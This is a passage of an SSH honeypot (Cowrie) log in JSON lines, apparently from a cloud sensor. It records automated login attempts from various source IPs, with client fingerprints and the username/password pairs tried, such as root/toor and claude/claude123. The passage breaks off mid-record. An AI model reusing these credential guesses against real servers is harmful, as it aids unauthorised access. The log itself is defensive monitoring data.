{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":45120,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bb61ca89c52","protocol":"ssh","message":"New connection: 185.236.22.41:45120 (10.17.0.5:22) [session: 7bb61ca89c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:07.716519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:07.724918Z","src_ip":"185.236.22.41","session":"7bb61ca89c52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:07.877111Z","src_ip":"185.236.22.41","session":"7bb61ca89c52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"erifssorc","message":"login attempt [root/erifssorc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:08.243308Z","src_ip":"185.236.22.41","session":"7bb61ca89c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:09.391014Z","src_ip":"185.236.22.41","session":"7bb61ca89c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":36092,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd33e046e9af","protocol":"ssh","message":"New connection: 209.99.184.143:36092 (159.203.135.109:22) [session: dd33e046e9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:13.722438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:13.727179Z","src_ip":"209.99.184.143","session":"dd33e046e9af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:13.825851Z","src_ip":"209.99.184.143","session":"dd33e046e9af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:14.245690Z","src_ip":"209.99.184.143","session":"dd33e046e9af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:15.349622Z","src_ip":"209.99.184.143","session":"dd33e046e9af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":54736,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6f75b79be5a","protocol":"ssh","message":"New connection: 72.17.34.38:54736 (159.203.135.109:22) [session: f6f75b79be5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:41.555320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:41.560358Z","src_ip":"72.17.34.38","session":"f6f75b79be5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:41.596014Z","src_ip":"72.17.34.38","session":"f6f75b79be5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"choudhury","message":"login attempt [root/choudhury] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:41.766971Z","src_ip":"72.17.34.38","session":"f6f75b79be5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:42.806321Z","src_ip":"72.17.34.38","session":"f6f75b79be5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":40156,"dst_ip":"159.203.135.109","dst_port":22,"session":"5199fa04b2d9","protocol":"ssh","message":"New connection: 103.98.149.87:40156 (159.203.135.109:22) [session: 5199fa04b2d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:01.813774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:01.822727Z","src_ip":"103.98.149.87","session":"5199fa04b2d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:02.046060Z","src_ip":"103.98.149.87","session":"5199fa04b2d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kotenok","message":"login attempt [root/kotenok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:03.032210Z","src_ip":"103.98.149.87","session":"5199fa04b2d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:04.294612Z","src_ip":"103.98.149.87","session":"5199fa04b2d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":51502,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3d06c6f80fe","protocol":"ssh","message":"New connection: 202.79.29.108:51502 (159.203.135.109:22) [session: b3d06c6f80fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:09.351780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:09.356523Z","src_ip":"202.79.29.108","session":"b3d06c6f80fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:09.621658Z","src_ip":"202.79.29.108","session":"b3d06c6f80fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"909090","message":"login attempt [root/909090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:10.703218Z","src_ip":"202.79.29.108","session":"b3d06c6f80fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:11.967881Z","src_ip":"202.79.29.108","session":"b3d06c6f80fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":42102,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fc1c52d2f13","protocol":"ssh","message":"New connection: 209.99.184.143:42102 (159.203.135.109:22) [session: 3fc1c52d2f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:13.068897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:13.073647Z","src_ip":"209.99.184.143","session":"3fc1c52d2f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:13.164869Z","src_ip":"209.99.184.143","session":"3fc1c52d2f13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:13.564793Z","src_ip":"209.99.184.143","session":"3fc1c52d2f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:14.664644Z","src_ip":"209.99.184.143","session":"3fc1c52d2f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":41588,"dst_ip":"159.203.135.109","dst_port":22,"session":"a85842c4044f","protocol":"ssh","message":"New connection: 43.135.182.46:41588 (159.203.135.109:22) [session: a85842c4044f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:20.303836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:20.308405Z","src_ip":"43.135.182.46","session":"a85842c4044f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:20.376333Z","src_ip":"43.135.182.46","session":"a85842c4044f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Apple123!@","message":"login attempt [root/Apple123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:20.680984Z","src_ip":"43.135.182.46","session":"a85842c4044f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:21.753194Z","src_ip":"43.135.182.46","session":"a85842c4044f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":42598,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dc83ccc35af","protocol":"ssh","message":"New connection: 43.130.31.151:42598 (159.203.135.109:22) [session: 4dc83ccc35af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:23.809222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:23.812758Z","src_ip":"43.130.31.151","session":"4dc83ccc35af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:23.881052Z","src_ip":"43.130.31.151","session":"4dc83ccc35af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:24.189648Z","src_ip":"43.130.31.151","session":"4dc83ccc35af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:25.260066Z","src_ip":"43.130.31.151","session":"4dc83ccc35af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.199.106.159","src_port":57536,"dst_ip":"10.17.0.5","dst_port":22,"session":"e911f6c7564d","protocol":"ssh","message":"New connection: 198.199.106.159:57536 (10.17.0.5:22) [session: e911f6c7564d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:27.392882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:51:27.397797Z","src_ip":"198.199.106.159","session":"e911f6c7564d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","d